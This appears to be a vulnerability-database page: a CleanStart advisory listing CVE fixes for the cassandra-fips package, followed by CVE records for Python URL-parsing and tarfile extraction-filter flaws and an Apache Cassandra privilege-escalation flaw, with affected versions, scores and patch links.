Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-04-01 09:26
Modified
2026-03-24 09:56
Summary
Security fixes for CVE-2015-2104, CVE-2023-27043, CVE-2024-12254, CVE-2024-12718, CVE-2024-12798, CVE-2024-12801, CVE-2024-27137, CVE-2024-6232, CVE-2024-6923, CVE-2024-9287, CVE-2025-0938, CVE-2025-23015, CVE-2025-4138, CVE-2025-4330, CVE-2025-4516, CVE-2025-4517, CVE-2025-58057, CVE-2026-1225, ghsa-25qh-j22f-pwp8, ghsa-3p8m-j85q-pgmj, ghsa-5mg8-w23w-74h3, ghsa-6v67-2wr5-gvf4, ghsa-72hv-8253-57qq, ghsa-7g45-4rm6-3mm3, ghsa-pr98-23f8-jwxv, ghsa-qqpg-mvqg-649v applied in versions: 4.0.17-r1, 4.1.9-r0, 5.0.6-r1, 5.0.6-r2
Details
Multiple security vulnerabilities affect the cassandra-fips package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "cassandra-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.6-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the cassandra-fips package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-KM27583",
"modified": "2026-03-24T09:56:29Z",
"published": "2026-04-01T09:26:50.907320Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-KM27583.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2015-2104"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-27043"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-12254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-12718"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-12798"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-12801"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-27137"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-6232"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-6923"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-9287"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-0938"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-23015"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-4138"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-4330"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-4516"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-4517"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-25qh-j22f-pwp8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5mg8-w23w-74h3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6v67-2wr5-gvf4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7g45-4rm6-3mm3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pr98-23f8-jwxv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qqpg-mvqg-649v"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2104"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27043"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12718"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12798"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27137"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6232"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6923"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9287"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0938"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23015"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4138"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4330"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4516"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4517"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2015-2104, CVE-2023-27043, CVE-2024-12254, CVE-2024-12718, CVE-2024-12798, CVE-2024-12801, CVE-2024-27137, CVE-2024-6232, CVE-2024-6923, CVE-2024-9287, CVE-2025-0938, CVE-2025-23015, CVE-2025-4138, CVE-2025-4330, CVE-2025-4516, CVE-2025-4517, CVE-2025-58057, CVE-2026-1225, ghsa-25qh-j22f-pwp8, ghsa-3p8m-j85q-pgmj, ghsa-5mg8-w23w-74h3, ghsa-6v67-2wr5-gvf4, ghsa-72hv-8253-57qq, ghsa-7g45-4rm6-3mm3, ghsa-pr98-23f8-jwxv, ghsa-qqpg-mvqg-649v applied in versions: 4.0.17-r1, 4.1.9-r0, 5.0.6-r1, 5.0.6-r2",
"upstream": [
"CVE-2015-2104",
"CVE-2023-27043",
"CVE-2024-12254",
"CVE-2024-12718",
"CVE-2024-12798",
"CVE-2024-12801",
"CVE-2024-27137",
"CVE-2024-6232",
"CVE-2024-6923",
"CVE-2024-9287",
"CVE-2025-0938",
"CVE-2025-23015",
"CVE-2025-4138",
"CVE-2025-4330",
"CVE-2025-4516",
"CVE-2025-4517",
"CVE-2025-58057",
"CVE-2026-1225",
"ghsa-25qh-j22f-pwp8",
"ghsa-3p8m-j85q-pgmj",
"ghsa-5mg8-w23w-74h3",
"ghsa-6v67-2wr5-gvf4",
"ghsa-72hv-8253-57qq",
"ghsa-7g45-4rm6-3mm3",
"ghsa-pr98-23f8-jwxv",
"ghsa-qqpg-mvqg-649v"
]
}
CVE-2025-0938 (GCVE-0-2025-0938)
Vulnerability from cvelistv5 – Published: 2025-01-31 17:51 – Updated: 2026-04-21 20:14
VLAI
EPSS
Title
URL parser allowed square brackets in domain names
Summary
The Python standard library functions `urllib.parse.urlsplit` and `urlparse` accepted domain names that included square brackets which isn't valid according to RFC 3986. Square brackets are only meant to be used as delimiters for specifying IPv6 and IPvFuture hosts in URLs. This could result in differential parsing across the Python URL parser and other specification-compliant URL parsers.
Severity
CWE
- CWE-20 - Improper Input Validation
Assigner
References
9 references
| URL | Tags |
|---|---|
| https://github.com/python/cpython/issues/105704 | issue-tracking |
| https://github.com/python/cpython/pull/129418 | patch |
| https://mail.python.org/archives/list/security-an… | vendor-advisory |
| https://github.com/python/cpython/commit/d89a5f6a… | patch |
| https://github.com/python/cpython/commit/90e526ae… | patch |
| https://github.com/python/cpython/commit/a7084f60… | patch |
| https://github.com/python/cpython/commit/526617ed… | patch |
| https://github.com/python/cpython/commit/b8b4b713… | patch |
| https://github.com/python/cpython/commit/ff4e5c25… | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Python Software Foundation | CPython |
Affected:
0 , < 3.10.17
(python)
Affected: 3.11.0 , < 3.11.12 (python) Affected: 3.12.0 , < 3.12.9 (python) Affected: 3.13.0 , < 3.13.2 (python) Affected: 3.14.0a1 , < 3.14.0a5 (python) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-0938",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-01-31T18:50:16.654297Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-01-31T18:50:29.327Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2025-11-03T20:56:43.285Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "https://security.netapp.com/advisory/ntap-20250314-0002/"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00013.html"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "CPython",
"repo": "https://github.com/python/cpython",
"vendor": "Python Software Foundation",
"versions": [
{
"lessThan": "3.10.17",
"status": "affected",
"version": "0",
"versionType": "python"
},
{
"lessThan": "3.11.12",
"status": "affected",
"version": "3.11.0",
"versionType": "python"
},
{
"lessThan": "3.12.9",
"status": "affected",
"version": "3.12.0",
"versionType": "python"
},
{
"lessThan": "3.13.2",
"status": "affected",
"version": "3.13.0",
"versionType": "python"
},
{
"lessThan": "3.14.0a5",
"status": "affected",
"version": "3.14.0a1",
"versionType": "python"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Python standard library functions `urllib.parse.urlsplit` and `urlparse` accepted domain names that included square brackets which isn\u0027t valid according to RFC 3986. Square brackets are only meant to be used as delimiters for specifying IPv6 and IPvFuture hosts in URLs. This could result in differential parsing across the Python URL parser and other specification-compliant URL parsers.\u003cbr\u003e"
}
],
"value": "The Python standard library functions `urllib.parse.urlsplit` and `urlparse` accepted domain names that included square brackets which isn\u0027t valid according to RFC 3986. Square brackets are only meant to be used as delimiters for specifying IPv6 and IPvFuture hosts in URLs. This could result in differential parsing across the Python URL parser and other specification-compliant URL parsers."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20 Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T20:14:13.406Z",
"orgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"shortName": "PSF"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/python/cpython/issues/105704"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/pull/129418"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/K4EUG6EKV6JYFIC24BASYOZS4M5XOQIB/"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/d89a5f6a6e65511a5f6e0618c4c30a7aa5aba56a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/90e526ae67b172ed7c6c56e7edad36263b0f9403"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/a7084f6075c9595ba60119ce8c62f1496f50c568"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/526617ed68cde460236c973e5d0a8bad4de896ba"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/b8b4b713c5f8ec0958c7ef8d29d6711889bc94ab"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/ff4e5c25666f63544071a6b075ae8b25c98b7a32"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "URL parser allowed square brackets in domain names",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"assignerShortName": "PSF",
"cveId": "CVE-2025-0938",
"datePublished": "2025-01-31T17:51:35.898Z",
"dateReserved": "2025-01-31T17:45:10.107Z",
"dateUpdated": "2026-04-21T20:14:13.406Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-23015 (GCVE-0-2025-23015)
Vulnerability from cvelistv5 – Published: 2025-02-04 09:37 – Updated: 2025-02-15 00:10
VLAI
EPSS
Title
Apache Cassandra: User with MODIFY permission on ALL KEYSPACES can escalate privileges to superuser via unsafe actions
Summary
Privilege Defined With Unsafe Actions vulnerability in Apache Cassandra. An user with MODIFY permission ON ALL KEYSPACES can escalate privileges to superuser within a targeted Cassandra cluster via unsafe actions to a system resource. Operators granting data MODIFY permission on all keyspaces on affected versions should review data access rules for potential breaches.
This issue affects Apache Cassandra through 3.0.30, 3.11.17, 4.0.15, 4.1.7, 5.0.2.
Users are recommended to upgrade to versions 3.0.31, 3.11.18, 4.0.16, 4.1.8, 5.0.3, which fixes the issue.
Severity
No CVSS data available.
CWE
- CWE-267 - Privilege Defined With Unsafe Actions
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/jmks4msbgkl65ssg6… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Cassandra |
Affected:
3.0.0 , ≤ 3.0.30
(semver)
Affected: 3.1.0 , ≤ 3.11.17 (semver) Affected: 4.0.0 , ≤ 4.0.15 (semver) Affected: 4.1.0 , ≤ 4.1.7 (semver) Affected: 5.0.0 , ≤ 5.0.2 (semver) |
Credits
Adam Pond of Apple Services Engineering Security
Ali Mirheidari of Apple Services Engineering Security
Terry Thibault of Apple Services Engineering Security
Will Brattain of Apple Services Engineering Security
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2025-02-15T00:10:34.356Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://www.openwall.com/lists/oss-security/2025/02/03/2"
},
{
"url": "http://www.openwall.com/lists/oss-security/2025/02/11/1"
},
{
"url": "https://security.netapp.com/advisory/ntap-20250214-0006/"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-23015",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-02-04T18:28:23.512076Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-02-04T18:28:55.466Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Apache Cassandra",
"vendor": "Apache Software Foundation",
"versions": [
{
"lessThanOrEqual": "3.0.30",
"status": "affected",
"version": "3.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "3.11.17",
"status": "affected",
"version": "3.1.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "4.0.15",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "4.1.7",
"status": "affected",
"version": "4.1.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.0.2",
"status": "affected",
"version": "5.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Adam Pond of Apple Services Engineering Security"
},
{
"lang": "en",
"type": "finder",
"value": "Ali Mirheidari of Apple Services Engineering Security"
},
{
"lang": "en",
"type": "finder",
"value": "Terry Thibault of Apple Services Engineering Security"
},
{
"lang": "en",
"type": "finder",
"value": "Will Brattain of Apple Services Engineering Security"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Privilege Defined With Unsafe Actions vulnerability in Apache Cassandra. An user with MODIFY permission ON ALL KEYSPACES can escalate privileges to superuser within a targeted Cassandra cluster via unsafe actions to a system resource. Operators granting data MODIFY permission on all keyspaces on affected versions should review data access rules for potential breaches.\u003cbr\u003e\u003cbr\u003eThis issue affects Apache Cassandra through 3.0.30, 3.11.17, 4.0.15, 4.1.7, 5.0.2.\u003cbr\u003e\u003cbr\u003eUsers are recommended to upgrade to versions 3.0.31, 3.11.18, 4.0.16, 4.1.8, 5.0.3, which fixes the issue.\u003cbr\u003e"
}
],
"value": "Privilege Defined With Unsafe Actions vulnerability in Apache Cassandra. An user with MODIFY permission ON ALL KEYSPACES can escalate privileges to superuser within a targeted Cassandra cluster via unsafe actions to a system resource. Operators granting data MODIFY permission on all keyspaces on affected versions should review data access rules for potential breaches.\n\nThis issue affects Apache Cassandra through 3.0.30, 3.11.17, 4.0.15, 4.1.7, 5.0.2.\n\nUsers are recommended to upgrade to versions 3.0.31, 3.11.18, 4.0.16, 4.1.8, 5.0.3, which fixes the issue."
}
],
"metrics": [
{
"other": {
"content": {
"text": "moderate"
},
"type": "Textual description of severity"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-267",
"description": "CWE-267 Privilege Defined With Unsafe Actions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-04T09:37:18.580Z",
"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
"shortName": "apache"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://lists.apache.org/thread/jmks4msbgkl65ssg69x728sv1m0hwz3s"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Apache Cassandra: User with MODIFY permission on ALL KEYSPACES can escalate privileges to superuser via unsafe actions",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
"assignerShortName": "apache",
"cveId": "CVE-2025-23015",
"datePublished": "2025-02-04T09:37:18.580Z",
"dateReserved": "2025-01-10T03:33:46.731Z",
"dateUpdated": "2025-02-15T00:10:34.356Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-4138 (GCVE-0-2025-4138)
Vulnerability from cvelistv5 – Published: 2025-06-03 12:59 – Updated: 2026-04-21 20:16
VLAI
EPSS
Title
Bypassing extraction filter to create symlinks to arbitrary targets outside extraction directory
Summary
Allows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.
You are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of "data" or "tar". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter for more information.
Note that for Python 3.14 or later the default value of filter= changed from "no filtering" to `"data", so if you are relying on this new default behavior then your usage is also affected.
Note that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.
Severity
7.5 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
12 references
| URL | Tags |
|---|---|
| https://github.com/python/cpython/issues/135034 | issue-tracking |
| https://github.com/python/cpython/pull/135037 | patch |
| https://mail.python.org/archives/list/security-an… | vendor-advisory |
| https://github.com/python/cpython/commit/3612d8f5… | patch |
| https://github.com/python/cpython/commit/9e0ac76d… | patch |
| https://gist.github.com/sethmlarson/52398e33eff26… | mitigation |
| https://github.com/python/cpython/commit/19de092d… | patch |
| https://github.com/python/cpython/commit/aa9eb5f7… | patch |
| https://github.com/python/cpython/commit/28463dba… | patch |
| https://github.com/python/cpython/commit/4633f3f4… | patch |
| https://github.com/python/cpython/commit/9c1110ef… | patch |
| https://github.com/python/cpython/commit/dd8f187d… | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Python Software Foundation | CPython |
Affected:
0 , < 3.10.18
(python)
Affected: 3.11.0 , < 3.11.13 (python) Affected: 3.12.0 , < 3.12.11 (python) Affected: 3.13.0 , < 3.13.4 (python) Affected: 3.14.0a1 , < 3.14.0b3 (python) |
Credits
Caleb Brown (Google)
Petr Viktorin
Serhiy Storchaka
Hugo van Kemenade
Łukasz Langa
Thomas Wouters
Seth Larson
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-4138",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-06-03T13:29:22.889454Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-06-03T13:29:36.599Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"tarfile"
],
"product": "CPython",
"repo": "https://github.com/python/cpython",
"vendor": "Python Software Foundation",
"versions": [
{
"lessThan": "3.10.18",
"status": "affected",
"version": "0",
"versionType": "python"
},
{
"lessThan": "3.11.13",
"status": "affected",
"version": "3.11.0",
"versionType": "python"
},
{
"lessThan": "3.12.11",
"status": "affected",
"version": "3.12.0",
"versionType": "python"
},
{
"lessThan": "3.13.4",
"status": "affected",
"version": "3.13.0",
"versionType": "python"
},
{
"lessThan": "3.14.0b3",
"status": "affected",
"version": "3.14.0a1",
"versionType": "python"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Caleb Brown (Google)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Petr Viktorin"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Serhiy Storchaka"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hugo van Kemenade"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "\u0141ukasz Langa"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Thomas Wouters"
},
{
"lang": "en",
"type": "coordinator",
"value": "Seth Larson"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eAllows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.\u003c/span\u003e\u003cbr\u003e\u003c/p\u003e\u003cp\u003eYou are affected by this vulnerability if using the \u003ccode\u003etarfile\u003c/code\u003e\u0026nbsp;module to extract untrusted tar archives using \u003ccode\u003eTarFile.extractall()\u003c/code\u003e\u0026nbsp;or \u003ccode\u003eTarFile.extract()\u003c/code\u003e\u0026nbsp;using the \u003ccode\u003efilter=\u003c/code\u003e\u0026nbsp;parameter with a value of \u003ccode\u003e\"data\"\u003c/code\u003e\u0026nbsp;or \u003ccode\u003e\"tar\"\u003c/code\u003e. See the tarfile \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter\"\u003eextraction filters documentation\u003c/a\u003e\u0026nbsp;for more information.\u003c/p\u003e\u003cp\u003e\u003cspan style=\"background-color: var(--wht);\"\u003eNote that for Python 3.14 or later the default value of \u003c/span\u003e\u003ccode\u003efilter=\u003c/code\u003e\u003cspan style=\"background-color: var(--wht);\"\u003e\u0026nbsp;changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\u003c/span\u003e\u003c/p\u003e\u003cp\u003eNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it\u0027s important to avoid installing source distributions with suspicious links.\u003cbr\u003e\u003c/p\u003e"
}
],
"value": "Allows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.\n\n\nYou are affected by this vulnerability if using the tarfile\u00a0module to extract untrusted tar archives using TarFile.extractall()\u00a0or TarFile.extract()\u00a0using the filter=\u00a0parameter with a value of \"data\"\u00a0or \"tar\". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter \u00a0for more information.\n\nNote that for Python 3.14 or later the default value of filter=\u00a0changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\n\nNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it\u0027s important to avoid installing source distributions with suspicious links."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T20:16:04.883Z",
"orgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"shortName": "PSF"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/python/cpython/issues/135034"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/pull/135037"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/3612d8f51741b11f36f8fb0494d79086bac9390a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9e0ac76d96cf80b49055f6d6b9a6763fb9215c2a"
},
{
"tags": [
"mitigation"
],
"url": "https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/19de092debb3d7e832e5672cc2f7b788d35951da"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/aa9eb5f757ceff461e6e996f12c89e5d9b583b01"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/28463dba112af719df1e8b0391c46787ad756dd9"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/4633f3f497b1ff70e4a35b6fe2c907cbe2d4cb2e"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9c1110ef6652687d7c55f590f909720eddde965a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/dd8f187d0746da151e0025c51680979ac5b4cfb1"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Bypassing extraction filter to create symlinks to arbitrary targets outside extraction directory",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"assignerShortName": "PSF",
"cveId": "CVE-2025-4138",
"datePublished": "2025-06-03T12:59:02.717Z",
"dateReserved": "2025-04-30T13:35:55.675Z",
"dateUpdated": "2026-04-21T20:16:04.883Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-4330 (GCVE-0-2025-4330)
Vulnerability from cvelistv5 – Published: 2025-06-03 12:58 – Updated: 2026-04-21 20:16
VLAI
EPSS
Title
Extraction filter bypass for linking outside extraction directory
Summary
Allows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.
